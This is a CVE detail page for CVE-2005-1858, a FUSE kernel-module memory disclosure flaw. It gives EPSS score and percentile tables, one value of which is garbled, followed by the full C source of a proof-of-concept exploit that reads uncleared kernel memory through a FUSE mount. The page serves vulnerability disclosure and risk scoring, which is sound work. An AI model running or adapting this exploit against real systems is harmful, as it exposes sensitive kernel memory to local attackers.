CVE-2005-1858 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.18%
2025-03-30	–	–	–	–	0.18%
2025-04-15	–	–	–	–	0.18%
2025-04-15	–	–	–	–	0.18,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	38%
2025-03-30	37%
2025-04-15	41%
2025-04-15	41%

// source: https://www.securityfocus.com/bid/13857/info FUSE is susceptible to a local information disclosure vulnerability. This issue is due to a failure of the kernel module to properly clear used memory prior to its reuse. This vulnerability allows malicious local users to gain access to potentially sensitive kernel memory, aiding them in further attacks. FUSE versions 2.2, 2.2.1, 2.3-pre*, and 2.3-rc1, running on Linux kernel versions 2.4, through 2.6 are affected by this issue. /* memfs.c: Proof of concept exploit for FUSE < 2.3.0 memfs.c is based on fuse/example/hello.c from Miklos Szeredi Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt Build: Copy memfs.c over hello.c and run make in the fuse base directory Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat /mnt/getmem/memfs ; If you see random bytes you are vulnerable. Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005 FUSE: Filesystem in Userspace Copyright (C) 2001-2005 Miklos Szeredi <miklos@szeredi.hu> This program can be distributed under the terms of the GNU GPL. */ #include <fuse.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <fcntl.h> static const char *memfs_str = ""; static const char *memfs_path = "/memfs"; static int memfs_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if(strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; stbuf->st_nlink = 2; } else if(strcmp(path, memfs_path) == 0) { stbuf->st_mode = S_IFREG | 0444; stbuf->st_nlink = 1; stbuf->st_size = 4223; } else res = -ENOENT; return res; } static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t filler) { if(strcmp(path, "/") != 0) return -ENOENT; filler(h, ".", 0, 0); filler(h, "..", 0, 0); filler(h, memfs_path + 1, 0, 0); return 0; } static int memfs_open(const char *path, struct fuse_file_info *fi) { if(strcmp(path, memfs_path) != 0) return -ENOENT; if((fi->flags & 3) != O_RDONLY) return -EACCES; return 0; } static int memfs_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { size_t len; (void) fi; if(strcmp(path, memfs_path) != 0) return -ENOENT; len = strlen(memfs_str); if (offset < len) { if (offset + size > len) size = len - offset; memcpy(buf, memfs_str + offset, size); } else size = 0; return size; } static struct fuse_operations memfs_oper = { .getattr = memfs_getattr, .getdir = memfs_getdir, .open = memfs_open, .read = memfs_read, }; int main(int argc, char *argv[]) { return fuse_main(argc, argv, &memfs_oper); }